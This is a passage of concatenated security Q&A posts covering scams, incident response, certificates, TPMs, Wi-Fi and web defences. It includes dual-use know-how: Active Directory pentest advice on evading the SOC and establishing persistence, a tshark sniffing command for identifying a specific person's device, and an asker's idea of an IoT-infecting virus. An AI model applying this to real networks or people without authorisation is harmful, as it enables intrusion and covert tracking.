If you can't do that then the impact depends on the customer and the site.  In many circumstances you can ask for test users, keep all the content under those users and then request that they are deleted at the end of testing.

If that's not possible then make sure you have the conversation about these side effects before you start testing.  What you don't want to happen is that you get into the test, someone in the business notices their site filling up with "garbage" and they shut the test down.

Of course a security idealist would argue that they should have protected against the automation of form submission on their site, but that's not going to stop an irate marketing person wondering why they have several hundred emails about new comments on their blog :o)

Also as @johndeters says it's very important to keep track of the data and in the report explicitly recommend that they clean it up.  I've had cases where someone came back to me 9 months after a test to complain that my test data had cause their upgrade to fail and I was very happy to be able to point them towards the section in my report where I told them to remove the test data.


Almost fell for "tech support" scam - what is the risk? An acquaintance of mine got a call from an alleged Microsoft employee and provided him access to his Windows 10 computer via team viewer (commonly known as the tech support scam). But when the scammer wanted to send him a file he got suspicious and immediately shut down the computer before anything could be sent. He did not give away his credit card number or any other personal information. Afterwards he immediately changed his passwords from another computer and did not connect the affected computer to the internet since. He asked me for help now, but I am not sure which steps are necessary.

Do you think the computer could be infected? A team viewer remote
session was active, but as I told, no file was sent. Is it still
possible to infect a computer?
My plan is to start a live CD and run a virus scan, but I am not sure
if it is necessary to erase the whole disk. Would be the safer way,
but also much more time consuming.
Is it possible that the router could have been infected? I want to check the DNS settings, is there anything else I should check? Or should I completly reset the router?

Would be nice if someone gave me some hints and advice.
I don't think the question is a duplicate of these two:

what to do after a "tech support" scam
Help! My home PC has been infected by a virus! What do I do now?

Because I'm more interested if it was possible to infect the computer without sending a file rather than about what to do if there is a virus on the computer.

PS I'm from Germany, it seems like the tech support scam has reached non English speaking countries as well...

From your description, there is nothing to worry about. The victim just shared the screen with the attacker without giving the attacker control or giving the attacker any information.

As the victim used a common tool (TeamViewer) and not one provided by the attacker, there is no risk in the shared session.

There is no risk to the router as the attacker never had access to it.

It is not known what information the attacker saw on the screen, but perhaps the only concern is the disclosure of the IP address. This can be mitigated by turning the router on/off (which works in some instances) or asking the ISP for a new IP.


Alternative routes for Incident Response approach other than Windows Event Viewer? I am in preparation of developing an Incident Response Plan for a computer that has been hacked (no malware installed, just a system hack). My plan is to analyse through Windows Event Viewer to try and detect some unusual behaviour to the machine.

However, if a hacker has changed the contents of the log file or changed the time, what are the alternative routes for developing an IRP other than Windows Event viewer?

I once had a similar task and I found Nirsoft Mega Report. It combines some of the NirSoft utilities. I didn't find it very useful, since you get a lot of single reports, but not a complete timeline.

End of 2014, I tried to achieve it myself by using the NirSoft tools, running them in unattended mode and exporting to XML. The tools I considered for that were

AppCrashView (maybe someone tried to exploit a bug in an application)
JumpListsView (see what was done last)
RecentFilesView (which files were used last)
UserAssistView
BlueScreenView (maybe some kernel exploit caused a bluescreen)
FirefoxDownloadsView (maybe some malware came from there)
LastActivityView (see what was done last)
ShellBagsView
WinLogOnView (who logged on)
BrowsingHistoryView
FlashCookiesView
MozillaCacheView
SkypeLogView
WinPrefetchView
DevManView (were there devices connected)
IECacheView
MyEventViewer (like Windows Event Viewer)
TurnedOnTimesView
ImageCacheViewer
myuninst
USBDeview (were there devices connected)

From all these XMLs I tried to build a complete timeline. I say "tried", because

I found that the XMLs were not always well-formed. I reported that as bugs, but I was never notified whether they were fixed.
Not all tools provide XML export

Still, all those reports may be helpful.

If you do forensic stuff, consider the following basic rules:

get an image in a forensically sound way
only work on a copy of that image. Never work on the original and never work on the forensically sound image (of step one).


Can I keep large encrypted files in my mailbox on mail provider server? Is there any restriction or policy of large e-mail providers (such as GMail, Yahoo, Hotmail and similar) for keeping/storing large encrypted files by the users within their disk quota in 3rd party mailbox for privacy purposes?

Pretty much all mail systems have a limit on email size. You can howevr overcome it by splitting your big file in several mails.

As for policy, you should read the terms of use of each provider to figure out. For instance GMail restricts (restricted?) usage of third-party applications to avoid that you use GMail as a virtual drive (there were several programs precisely for doing that).


Do the Owncloud clients use encryption when transferring files to and from the server? Do the Owncloud clients use encryption when transferring files to and from the server?

I understand that files are stored un-encrypted on the server, but I’m wondering if they are secured during transit to and from the server.

I’ve been looking at their website (http://owncloud.org/), but haven’t been able to find an answer.

I am looking to setup my own server.

By design, OwnCloud sits on top of a web server. You can configure SSL on the web server as you would any website or web application.

This link you provide you enough information to get you started.


What do you call the entity seeking to be authenticated? What do you call an entity seeking to be authenticated? Is there a single word or short phrase for it? What would you name a variable that represented the party asking to be authenticated?

In IEEE 802.1X terminology that would be the supplicant:

   Authenticator
         An Authenticator is an entity that requires authentication from
         the Supplicant.  The Authenticator may be connected to the
         Supplicant at the other end of a point-to-point LAN segment or
         802.11 wireless link.

   Supplicant
         A Supplicant is an entity that is being authenticated by an
         Authenticator.  The Supplicant may be connected to the
         Authenticator at one end of a point-to-point LAN segment or
         802.11 wireless link.

(Source)

In other contexts the entity being authenticated is often simply referred to as a client or user as that's in most cases unambiguous.


Javascript Malware: How does it work, and how can it be mitigated? I am wondering how malware gets served through Javascript. I've noticed a few illegitimate pop-ups while visiting some financial websites. I wonder how malware exploits work against the application and what an application can do to at least inform it's users that the popup is not from the website, it's from the malware.

Drive-by downloads are typical malware vectors for JavaScript to get binaries onto a user's machine.  The JS just starts a request of a malware binary that responds with Content-disposition:attachment which prompts the user to download it.
The JS can continue this even if the user cancels, effectively making the user's browser unusable (they may not know how to kill a process manually) and often attempts to make the download look like antivirus software.
Some proportion of users will accept the download just to get their browser back, and then the malware vendor just has to wait for the binary to be run.

The core problem with viruses and malware is that the OS confuses the current user with the programs they run.  When I run Solitaire, that process has the ability to edit every file that I can from the command line or Windowing system.  That should not be the case.
There's no reason why Solitaire or a screensaver that you download from the web needs access to your tax files, so you can use a combination of cues to figure out what privileges it needs

Did the user grant authority via a file dialog or some other OS-mediated designation method like drag-n-drop?  ("Secure Interaction Design") explains a variety of ways to infer grants of authority by looking at the way they interact with a user-interface.
Is the file in a directory "owned" by the application by virtue of being created during the installation of the application binary?
Is the file a common system resource like a DLL or shared library?

Other privileges can be similarly granted based on user designation or simple rules.
Most operating systems and applications were not written with this in mind, so systems like Polaris from HP labs shows how to allow apps to run with less than current-user permissions on Windows.

People often forget that POLA means two things at the same time. Not only must you prevent the application from having more authority than it needs to do the user's job, but also you must ensure that the application has enough authority to do that user's job. Granting too much authority is why there are viruses that hijack applications. Granting too little authority means that the application is useless, like a spreadsheet program in a web browser sandbox that cannot save the result on your hard disk. Polaris gives neither too much nor too little authority: while a polarised application cannot in general corrupt or infect files on your computer, the application can indeed store information to any file that the user explicitly specifies by either double-clicking on the file or by selecting the file in a dialog box. Thus, the Polaris system dynamically adjusts the authority of the application to do what the user wants.
Unlike static sandboxes, Polaris does not appreciably affect the user experience. In fact, one HP executive used a pre-Alpha version of Polaris for three days without knowing it was on his machine. Polaris does its magic without changing applications or the operating system. Nor does it rely on intercepting system calls. Instead, when users "Polarize" an application, the "Polarizer" creates a restricted user account for that application. When users launch the application, either explicitly via the shortcut the Polarizer created or implicitly by opening a file of the appropriate type, Polaris uses a variant of the Windows runAs facility to open the program in its account. The bulk of the Polaris software hides this fact from the user.


How safe are free SSL - HTTPS cert (fake sites with HTTPS) I recently heard from one of my friends that we can create our own SSL certificate.

So IF I am going to create a fake SSL cert for a fake bank site, its going to auto get HTTPS and say secured in browser address bar right?

So how safe are HTTPS sites? (with respect to fake sites)

Your fake certificate need to be signed by a Root Certificate. Root certificates are owned by Certificate Authorities. Certificate authorities are trusted by operating systems and browsers and their certificates are implanted in our devices. If your fake certificate can't be verified by any of these authorities certificates then you cannot have that little green lock in the browser.


RSA SecureID - is the serial of the key public? If I am having an RSA SecureID hardware key, I can see serials/numbers at the back of the SecureID (so not the every-minute changing token)?

Is that public information? Or should the serials on the back of an RSA SecureID be held private/confidental?

Serials on SecurID tokens are not secret information. The seed that is used to calculated the keys is not related to the serial, and keeping it secret will not enable anyone to crack the authentication codes more easily.
There is one exception: RSA itself keeps a record of all the seeds and which serials use them, and if that record is breached all bets are off. This has happened once before. In this case, you're screwed, and you have to replace all your tokens with ones whose seeds are still secret. Hiding the serial might protect you for a few hours longer than the next guy, but the token codes themselves can also be used to find which seed from a list matches your token.
At the end of the day, SecurID isn't any more or less secure than the common TOTP codes generated by things like Google Authenticator. It's the same principle, and if Google loses those seeds, the same thing happens.


How do I find the IP address of a specific device on the local network? I would like to learn how to find the private IP address of anyone connected to a network.
This specific network has a firewall. The only info I have on it is that it blocks ICMP requests (I'm pretty sure ping sends and receives ICMP requests) no matter who you are sending these requests to. The error message goes something like Communication prohibited by filter and it shows some info. After pressing ctrl + c, I see 100% packet loss.
I've done some research and I've found that running commands like arp -a, netstat -r, and nmap -sP <ip address> (I found somewhere that -sP is deprecated for some reason and should be replaced with -sn) would show all connected devices on your network. However, I don't see everything. Normally, I would find someone's IP address through these commands by looking on the left, which shows the computer's name (such as john's MacBook Air) and then looking on the right of that (which shows the IP address). However, I get a lot of question marks on the left when running arp -a, I don't see the person I'm looking for in netstat -r, and both nmap commands don't show any ip addresses.
I know the default gateway of the network but when I used nmap to scan on that, it doesn't show anything. Does anyone know what I'm doing wrong?
I forgot to mention that when running arp -a or netstat -r I see some devices and their IP addresses. I think what I'm trying to ask is, why are some devices showing up on these scans and some others aren't?

If a system is unresponsive to (or actively blocks) conventional methods of fingerprinting, and you're convinced that the system is actually there (and is reachable), I recommend you start eavesdropping.
Ex: Start WireShark with a network card in monitor mode. Leave it running for 10-120 minutes. Afterwards, you'll want to get a list of the unique IPs it registered:
tshark -r input.pcap -T fields -e ip.dst ip.src | sort | uniq

(Where input.pcap was the pcap file you got from wireshark)[2]
Tying back the IP to a certain person will require manual work from your part. Unless the target is using DoH, you should be able to see DNS queries, so I'd recommend you start with that.


How to suspend a user from my website and prevent them from creating a second account? I am an outsourcing person, not a programmer. My website is a shopping website (think eBay). My website will need a user suspension feature, in case a user violates the terms and conditions. The problem is to detect users who create a second account. Here are ways I've thought of:

IP address tracking
User information (email address or any information that is repeated on the second time of registration, after suspension)
session id cookies are also a way to identify the users after login

Any more creative suggested ideas? Is it possible to make it 100% impossible to prevent those bad users (frauds, spammers) from coming back?

There is no way to prevent multiple registrations.

I have two suggestions to offer

Make multiple registrations undesirable, for example by charging a fee.
Outsource the identity problem to someone else, for example my using Facebook or Google login instead of rolling your own.


ActiveDirectory PenTest Help I'm popped in the middle of the domain with what appears to be a VERY solid network. Good policy, good security, a lot of the usual tactics won't work. I cant pass-the-hash, find any SYSVOL loot, or gain access to any local users in any way.

They are pretty strict about patches. No local exploits to think of. I've tried eternalblue, smb exploits, powersploit, CME, etc...

All computers on the network do have a built-in Administrator account, however with CME I am unable to achieve anything meaningful.

When you are in the middle of a solid network, what's your usual workflow for finding a way to own a local machine to pivot your way to Domain Admin when it's hard to even get local creds?

On a side note, has anyone ever went into a pentest and been unable to achieve anything?

Active directory penetration testing is an entire field of study with many attack vectors. BloodHound by SpecterOps looks for common active directory misconfigurations such as stale objects, incorrect ACL/DACL assignments, delegation issues, problems relating to trusts between AD forests and many more.

However, if stealth is a concern, BloodHound is quite noisy so an IR team or someone in the SOC could detect this so it is a risk to run that tool in a high security network. However, I still use it during engagements as the typical response time for this in my experience is 1 hour (it queries the domain controllers to get this info which is typically considered crowned jewels in enterprise, highly monitored).

This is typically enough time for me to pivot and establish persistence on another machine. BloodHound gives you a graph defining the shortest path to compromise (as they call it) of the domain (if possible).

There are also many old school tactics for compromising AD misconfigurations, I'll be attaching several links below. I hope you can find inspiration for a cool pwn in one of these links.

https://www.slideshare.net/dafthack/pwning-the-enterprise-with-powershell
https://www.slideshare.net/AndyRobbins3/six-degrees-of-domain-admin-bloodhound-at-def-con-24
https://www.slideshare.net/harmj0y/i-hunt-sys-admins-20
https://www.slideshare.net/harmj0y/not-a-security-boundary
https://www.slideshare.net/harmj0y/ace-up-the-sleeve


Is my application affected by curl vulnerabilities if using HTTPS with a single server? To this day two vulnerabilities are known in curl 7.57.0. Both are related to HTTP:

HTTP authentication leak in redirects
HTTP/2 trailer out-of-bounds read

My application uses this version of curl and communicates with a single hardcoded web server. The server has a well-known domain name and is controlled by a trusted company. Is the application vulnerable to these vulnerabilities given that HTTPS is always used?

HTTPS does not solve the problem
Judging from the linked description

HTTP authentication leak in redirects - regardless of protocol, the client issues the custom Authorization: header when redirected.
Specific to HTTP/2. May or may not be influenced by SSL

So, the advice would be as stated in the issue description: patch or upgrade your curl.


Best way to validate /etc/hosts from third party providers to avoid ads? A lot of people use a huge /etc/hosts file to simply redirect ads and scam sites to 127.0.0.1. The interesting part about this approach is that you can have the same hosts on your tablet, your android phone, your mac, your linux box, etc, and all applications in your machine are subject to the /etc/hosts, so you don't need to configure browsers, proxies...

An example of a HUGE hosts file is from this french website.

I would like to create some scripts and use these hosts files in an automated manner, but I was afraid of some security issues: imagine that someone hacked the server from where I get the hosts file, and now is pointing gmail.com to a scam site for example.

So, I thought of just doing a simple validation: each line of the hosts file must begin with 127.0.0.1 or with a comment (#).

Is this a valid precaution measure? Do you see any problems with this approach?

You might also want to allow for blank lines. But, "starts with #, 127., blank-line" should be sufficient if trying to validate 3rd party lists for inclusion in yours. Though this wouldn't stop malicious denial of service. For example, if you started performing this as a service, but then somebody placed your own domain name in the list with a 127.0.0.1.

Also,

A loopback address is not always 127.0.0.1 . I've seen some of these custom hosts files also use 127.0.0.2 or other 127.0.0.* addresses. RFC 3330 defines loopback as any 127.0.0.0/8 address.

Also, this may not directly apply, but IPv6 localhost values such as 0:0:0:0:0:0:0:1 or ::1 are also valid.

Redirecting a site such a gmail would already be somewhat mitigated by the use of SSL certificates along with HTTP Strict Transport Security which tells a browser to only use SSL to connect to a site.


What are some ways to spot email spoof attacks? I use Gmail and I started getting malicious-sounding emails from people I know intimately.  The people I spoke to said they did not send those emails.  In order for the attacker to carry this off, are they attacking my email servers or my contacts' servers?  Or is this us an mitm attack?

You will need to analyse message headers to determine what is going on.

Google's Message Header Analyser is here.

Using the tool, check the from servers to find out if the emails pass through your contacts' servers or only your own.

Also check whether SPF (Sender Policy Framework) and DKIM (DomainKeys Identified Mail) pass - if they do pass, it is more likely to be a compromise on your contacts' servers or accounts.


can wpa2 wifi be hacked by capturing data on an evil twin? If I copied the wifi essid and channel and did a de-authentication to the clients of the wifi that I want to hack and started a wifi of my own with the same essid, bssid and channel and I started capturing the packets, will the clients send the password to my wifi?

Sorry if it's a stupid question or something, but if it's possible how?

I'm going to assume you mean WPA2-Personal AES in particular in this answer.  If you mean WPA2-Enterprise, it's a whole different kettle of fish, and if you mean anything less, the access point owner (and perhaps users) should upgrade.

Essentially, the answer is no, a MITM "Evil Access Point" never gets the actual passphrase.  They pass a nonce (salt) back and forth, information on protocols supported, etc., but both the Access Point and the Station construct the key themselves.

Therefore, an evil access point cannot "phish" the key from the client during 802.11 operations.

You can see this "in action" in sniffer traces at Cisco's 802.11 Sniffer Capture Analysis - WPA/WPA2 with PSK or EAP

Now, an Evil Access Point that can hear both the Good Access Point and the Station can capture 4-way handshakes and then use the usual tools to perform brute-force, mask, and rules-based dictionary attacks, but it doesn't need to broadcast anything to capture that if the clients are authenticating on their own.

For a phishing attack, an attacker is down to sending emails, or having their Evil Access Point not use WPA2, which should be a red flag to users.

If you are using WPA2-Enterprise, perhaps try the surprisingly readable Benefits and Vulnerabilities of Wi-Fi Protected Access 2 (WPA2) , which does cover other standards.


Is there any technology that allows to run code in untrusted environment? Imagine, your computer is controlled and your traffic is watched (MitM) . For example environment can create a snapshot of process and record a traffic.

Is there any chance to run code and prevent it from external inspection at level when it will take at least a year to get to source?

Is it possible to build a mesh network of such self-isolated containers securely connected to each other?

Is it possible to make a such technology cross-platform?

I know, it sounds like crazy idiom, but it has to look like Baron Munchausen pulling himself out of a bog by his own hair.

My point here to discuss possibility of existence distributed network in case when each of elements cannot be completely trusted.

Let's ignore conspiracy theories and think about real world. Right now, we have goverment control of Internet in many countries. And this is good when we are talking about child pornography and other unacceptable for humanity things. But control became economic & censorship tool, which destroys open community.

For example GitHub periodically gets blocked by Russian goverment, something crazy is going on in China and North Korea, other countries have similar issues. Projects like Tor or I2P are still vulnerable and easily identified using DPI and get blocked.

In current situation, the only one way I can see - is to have a sort of polymophic virus, which will infect IoT devices using vulnerabilites and build a mesh network from such things. I think, it should have some ways for self-update, network discovery and methods to desinfect devices from actual malware. Also it should be a virus, only self-spreading system can tolerate numerous vectors of blocking.

You are effectively asking if it is possible to hide some activity in a fully monitored environment. First, there is no thing as a fully monitored environment because everybody including your adversary has only limited resources (i.e. time, money, people...). Thus while he might be able in theory to watch every traffic and take process snapshots at every time he will not be able to analyze all the data. But if the adversary would have unlimited resources there would be no place to hide for you.

Thus in reality you just have to make it too hard for the adversary to find you. The best way would probably be to make your activity look innocent (i.e. blend in) so that a closer look at it does not seem to be worth. Again, the adversary has only limited resources so he must decide where to use these for the best results. How blending in can be done is specific to the environment and the task and the more you know about the environment and how it is monitored the better you can hide your activity.


Certificate Mapping in IIS When pasting the certificate blob in the configuration editor in IIS 7.5 for one on one authentication, is this the server certificate or the client certificate?

What happens in IIS under the name of "certificate mapping" is always about the client certificate. In SSL (HTTPS), the server may request a certificate from the client, in which case the client sends his certificate and proves his control of the corresponding private key (this is handled in the SSL protocol; the client computes a signature on a challenge from the server). The server validates the client certificate (it verifies all the signatures on the chain, from a root CA down to the client certificate itself), and then maps that certificate on a client identity; "certificate mapping" is about that last step.

More generically, when an entity owns a certificate, then it never really needs to validate it. The server's certificate is meant for the clients, not for the server itself. From the server point of view, the server's certificate is just some opaque blob which should be sent to the clients, and the clients look at its contents.

Your certificate is for the other people.


Why does an encrypted message sometimes end in "==" As a programming exercise I need to decrypt a message. The only clues that I have is that it seems are:

The encoded message contains only Base64 Characters
a n letter sequence (n in 1,4,7,10) times it returns an encrypted message with "==".
a n letter sequence (n in 2,5,8,11) times it returns an encrypted message with "=".
a n letter sequence (n in 3,6,9,12) returns an encrypted message without a specific character.

I do not want a solution, I am just wondering if this sequence of occurrences for the equal sign provide a clue or not.

Thank you.

The = signs relate to the length of the string being encoded in Base64. Essentially, in probably the most common form of Base64, = is used as a padding character to ensure that the last block can be decoded properly.

Base64 is not encryption - there is no hiding going on in it - but is often used to allow for binary data to be sent in text only form. All the characters used in Base64 will paste correctly, and can be entered using a keyboard with no modifier keys beyond shift.


Prevent unauthorized workstations from joining a Windows Domain Corporate policy only allows users to connect corporate-issued machines to the network managed by Active Directory. Is there some means to log or otherwise detect when the same user account joins the domain with "unauthorized" machines? Suppose the user connects non-simultaneously and can rename their machine to match an "authorized" machine's name.

I believe you need to have the domain administrator credentials to join a domain (or an account which has been delegated this ability). It should not be possible for a user to just add their personal computer to a domain. You should not be giving users the ability to copy system files off their work pc to their home pc (do not give them local admin privileges).

Theoretically, it's possible they could image their work machine and put it on their own hardware, but that would not allow them to change the system settings and gain more privileges, it would still generally be your GPO in affect. To counter this, a combination of TPM and encryption would help.

If you want to block unauthorized systems from joining the network, you would probably want to do this a layer domain from Active Directory at the network level. You could implement 802.1x port security or any other type of network access control (NAC).

More resources:

Network Access Protection in Server 2008
Create a new computer Acccount
Server and Domain Isolation


Server side Client VPN management? Is this possible, and how?
Here's the scenario:

Public Web Server hosts basic content for general public.

Private server inside a VPN hosts special subscriber content and services.
The two servers may not be on the same hardware.

Subscribers have a device with appropriate VPN software with appropriate certificates, logins, etc. For this discussion, let's postulate Android tablet with StrongSwan, but it is really more than just that.

Upon seeking subscriber content, the subscriber opens StrongSwan and initiates the VPN, at which point the Android is off the Internet and on the private network for narrow, special purposes.

The system I describe, more or less, is presently up and running, but Step 4 is presently an inconvenient manual step which the subscriber must initiate.
I would like to automate this step, allow the Internet surfing Android user to click a link on the public page, and have the VPN initiated automatically and control passed to the "inside the VPN" services.  At termination of the subscription-based application, the VPN would be taken down and normal Internet access resumes.
Placing code on the web page is one thing.  Initiating the VPN on the Android client is less clear to me.  The system should also, ideally, detect when the user does not have the appropriate certificates, etc., and send the user to a sign-up page to subscribe to the services.
Am I asking for the moon?  Or is this something easily done of which I am simply ignorant?

TLS provides effective confidentiality and integrity for communications.  Unless you must prevent TCP/IP header information leaking, an IPSec or similar VPN is likely overkill.  Even then the TCP/IP headers in packets for the IPSec tunnel from the Android device's public IP to your services VPN endpoint public IP would still be visible so TLS is still likely better.

If you want users to have anonymity in the presence of hostile snoopers or totalitarian censorship regimes then you may need something like FreeNet or the CE|NO GUI built on it.


SRP in local, private wireless network i am trying to secure the connection between a single-page webApp (angularJS, loaded from a secure source via SSL) to a local server (called BOX) inside the private, local wifi of the user.

So the webApp is loaded in the browser via HTTPS and then uses ajax to connect to the local BOX Ressource in the local wifi.

At this point, the webApp might have lost internet connection, only loading data from the local source.

Now, i can not ensure that the wirekless is secure (people near the wifi could listen in) so i need ajax/javascript to securely authenitcate with the local resource somehow.

Most browsers do not support HTTPS Pinning which is why i can not use HTTPS, simple digest/basic Auth is not gonna do it for the client so i thought about using SRP.

My HTML/Javascript is delivered via HTTPS so that should be secure enough to protect it from being altered by a man-in-the-middle attack.

Reviewed SRP libs for Javascript exist.

Question: Does anyone see any flaws in this concept?

SRP protects only against a man in the middle sniffing the password. It does not protect against an active man-in-the-middle manipulating the transferred data.

Since active man-in-the-middle attacks in a local network are easy (ARP spoofing etc) anybody can make/manipulate the data and cause unwanted actions inside your securely authenticated but not tamper resistant connection.


How to avoid the cross-frame scripting attack over core php we application I have developed one web application that is in core-php as per the client's requirement. My client conducted a vulnerability test, and found a Cross-Frame Scripting as a vulnerability at hard level.

What can be done in this case to avoid it? Is there any better choice available?

Cross-frame scripting allows an attacker to embed your website within their own, as a frame/iframe and then spy on the users of your website.

This requires some social engineering. An attacker would trick someone into visiting their web page, with an iframe containing (say) the login to your website. The parent website would also need to have some malicious Javascript to read keystrokes to capture login. Theoretically, browsers have a same-origin policy that should prevent the attacker from being able to do this, however in reality this attack is possible, often due to browser bugs.

Defenses:

As per the W3 spec, you should include the Content Security Policy frame-ancestors header in your HTTP response to prevent your website being loaded in a frame. Some older browsers may not have support for this header, so also use the X-Frame-Options header with value DENY, SAMEORIGIN or ALLOW-FROM uri. X-Frame-Options takes precedence over CSP frame-ancestors in some browsers.
You could additionally have some Javascript "frame-breaker" code that will prevent your website from being "framed" in older browsers.

These solutions and more details are discussed on this OWASP cheatsheet.


How are Bitlocker FDE keys stored in the TPM? If you are using Windows 10 Pro Bitlocker FDE with a TPM and enhanced PIN (= passphrase):

How do the keys in the TPM get stored? Are they stored as plaintext or hashvalue or 'again' encrypted?

Plain text, but is stored on a "secure HDD" on the TPM.

Snippet from Microsoft website.

  Computers that incorporate a TPM can create cryptographic keys and
  encrypt them so that they can only be decrypted by the TPM. This
  process, often called wrapping or binding a key, can help protect the
  key from disclosure. Each TPM has a master wrapping key, called the
  storage root key, which is stored within the TPM itself. The private
  portion of a storage root key or endorsement key that is created in a
  TPM is never exposed to any other component, software, process, or
  user.

  You can specify whether encryption keys that are created by the TPM
  can be migrated or not. If you specify that they can be migrated, the
  public and private portions of the key can be exposed to other
  components, software, processes, or users. If you specify that
  encryption keys cannot be migrated, the private portion of the key is
  never exposed outside the TPM.

  Computers that incorporate a TPM can also create a key that has not
  only been wrapped, but is also tied to certain platform measurements.
  This type of key can be unwrapped only when those platform
  measurements have the same values that they had when the key was
  created. This process is referred to as “sealing the key to the TPM.”
  Decrypting the key is called unsealing. The TPM can also seal and
  unseal data that is generated outside the TPM. With this sealed key
  and software, such as BitLocker Drive Encryption, you can lock data
  until specific hardware or software conditions are met.

https://docs.microsoft.com/en-us/windows/security/hardware-protection/tpm/tpm-fundamentals


How can I locate the device that log in my gmail account? My company Gmail was logged into by someone else and sent out unhealthy messages to people in my company.

I looked back to my login history and found a phone device login which is not mine.

Can I locate the location of the device user? Or is there any way I can track that person down? Because I know someone in my company did that.

My answer:  Use gmail's "last account activity" function to see information on utilization of your account.

It is explained here:  https://support.google.com/mail/answer/45938?hl=en

Here is an excerpt:

  You can see the last 10 IP addresses and approximate locations  that
  accessed your Gmail account.

  If you got a warning about suspicious activity in your account, you
  might also see up to 3 additional IP addresses that have been labeled
  as suspicious.

  There are a few reasons you may see multiple IP addresses or locations
  in your activity:

  If you use POP or IMAP to read your mail on other services, like Apple
  Mail or Microsoft Outlook, this location information will be included,
  too.

  If you use Mail Fetcher, a Google IP will show up because your
  messages are being fetched through a Google server.

  If you use Gmail on a phone or tablet, your Internet service or mobile
  carrier's location may show up. This may be a location far from where
  you are. As long as the name of the carrier matches yours, this isn't
  unusual.

While on this topic, it is highly suggested you use 2FA security on gmail to prevent this from happening.  I use Google Authenticator on my Android phone so I can click Yes or No to any unknown logins.


Is there a PKCS certificate format that signs ASCII data? Is there a PKCS #x already out there that was designed to sign ASCII data and protect it from manipulation?  I was originally guided to PKCS #7, but based on posts here it looks like the data is not signed, just the CRL information.  Don't care about that.

Here is how I would like this to work:

Establish a root key set + self-signed certificate
Establish a second level of key pairs with certs signed by the root
Create "certificates" with ASCII text in the body (signed by 2nd level)

Kind of like a protected config file.  Easy to read/parse, but verifiable.  Sorry for the poor description.  I really am new to security concepts and admit it.  I just want to know if I need to forget about PKCS and just code it myself or is there something already defined that would support this?  Seems to me simpler to code myself, but just in case...

A "certificate" by the definition used in cryptography is information about a cryptographic entity in a specific format and signed by a "certificate authority" or CA; X.509 is the most common type of certificate and the one used by PKCS#7 or its updated version CMS (and S/MIME, which is a thin wrapper on CMS). If you want to sign your own data, not special cryptographic certificate data, then you want SignedData, which is one of several options (with some suboptions too) in PKCS#7/CMS. The data doesn't need to be ASCII but if it is that's fine, and if it's canonical printable ASCII (no control characters except CRLF for line break) then you can use the "detached signature" suboption, which allows anyone to view the data part without any special tool (but you can't modify it without invalidating the signature). Having a root CA that issues certs for multiple entities that use those certs and their keys to sign and verify data is a bog-standard use of PKCS#7/CMS.

Note that PKCS#7 is sometimes used as a "carrier" for X.509 certificates and/or CRLs, but no user data. Certificates and CRLs are internally signed by the CA that issues them, and do not need or get additional protection. That is different from the SignedData case, where the user data needs and gets a signature added.

As per the comment, PGP format, implemented by GnuPG and a few competitors, has the same basic capabilities (and pretty much goals) as PKCS#7/CMS/SMIME: parties generate keypairs which may be certified or may be distributed and trusted by other means; parties then use a privatekey to sign (arbitrary) data that any recipient can verify using the publickey, or use a publickey (or several) to encrypt data that only the intended recipient(s) can decrypt using the privatekey(s). (PKCS#7/CMS calls the latter "enveloping" to distinguish it from other forms of encryption.)

There are technical differences: PKCS#7/CMS uses ASN.1 encoding (as does X.509) while PGP uses its own tagged packet structure; both usually use base64 "armor"; PGP identifies keys by a shortish hexadecimal id and parties usually by an email address, while X.509 and PKCS#7/CMS identifies keys by (usually) a hash and parties by a "Distinguished Name" structure that can be horribly complicated but in a situation you control you can make quite simple.

But the most visible difference is that PGP comes primarily as a commandline or GUI program that you run to do key-generation, signing, etc. PKCS#7/CMS is implemented by at least a few libraries and as part of some other programs like Microsoft Outlook, but the only standalone program I know is the commandline utility in OpenSSL, which after long evolution has some quirks that take a little getting used to. OTOH if you want your program(s) to read-and-verify the file (and possibly create-and-sign it also), the OpenSSL library API is mostly straightforward and reasonably well documented, if you are using C or C++ or anything that can call C. For Java there's a good 3rd-party library from BouncyCastle. MSDN says dot-NET has support. Anything else, make your question more specific.


Storing password in sqlite vs asking user to type it in every time I am making an Android app that needs to be very secure. For authentication to the server, it will use 2-factor authentication that includes:

username/password
sms verification

I can't use client certificates(with private keys), as in my case it wouldn't be practical.

Password will be stored securely on a server(probably hash and salt). But, I am having trouble figuring out the best way for password to be inputed on Android app which will be used as a client.

I am currently considering 2 options:

Ask user for password every time he uses the service
Save the password to phone DB and reuse it every time a user uses the service

The first option is good because the password is never stored on the phone(except temporary in RAM), but the password can be stolen if a device is compromised by a keylogger.

I read about ways to install a keylogger to an Android device, and I found out that the most common way is to make the victim install a custom keyboard that will be used for all apps.

This is explained by D.W. here: Keyloggers on Smartphones?

The second option is immune to keyloggers(except the first time user enters a password), but it has the risk of some malware dumping the database. I haven't found that much info about SQLite security on Android.

Also, the second option bears increased risk if someone gains physical access to the device. However, this risk can be lessend by using some kind of a pin code to protect the access to the app.

And the second factor of authentication(SMS in my case) can also be compromised, either by malware on the phone or by intercepting the SMS at the provider.

So, my question is: Is there a known way to dump a database of an app on an un-rooted android device, and what is the likelihood of that happening?

There's quite a bit to unpack with this question, and I will do my best to answer the question noting that I am not an Android developer.

For starters, the essence of Two Factor Authentication in the traditional form, is something you have and something you know. If you allow storage of a password in the device you are more-or-less mitigating any security benefit you would have by implementing 2FA as simply possessing the device could lead to compromise. With that said, in my opinion, you should not provide the ability to store the password in the device.

  Password will be stored securely on a server(probably hash and salt)

If you want your application to be secure then you will definitely randomly salt and hash.

It may also be worth noting that NIST has recommended against using SMS for two-factor authentication. so perhaps you'd want to look into something like Google Authenticator.

I can't say whether or not SQLite databases can be dumped on un-rooted phones, but given the ubiquity of Android malware I would operate under the assumption that the phone could be compromised by the unintended installation of a malicious app.


How do the STS token formats compare to each other SAML vs SWT vs JWT? I'm configuring an Azure ACS STS and would like to know if there is any impact on security based on the following token formats or how they are used.  The answers to this questions should apply to other STSs such as CA Siteminder, Ping Identity, ADFS and others.  Here is the selection I see in my configuration portal:

The corresponding help link takes me to MSDN documentation that doesn't cover security questions like this.

Is the difference in Token Format merely the manner in which it is serialized:

The size of the token (that may round trip to the browser)
Fundamental differences in security
Differences in features and functionality

I have heard in several MSFT talks that SWT is an overly simplified version of SAML, and JWT is a not-yet-finalized standard by Google, IBM, and MSFT that should compromise on features between SWT and SAML.

Better or worse is relative to the usage of the protocol. SAML has it's place and SWT/JWT/et al have their place. The SAML spec is pretty much set in stone, whereas SWT/JWT are really in their infancy and keep changing.

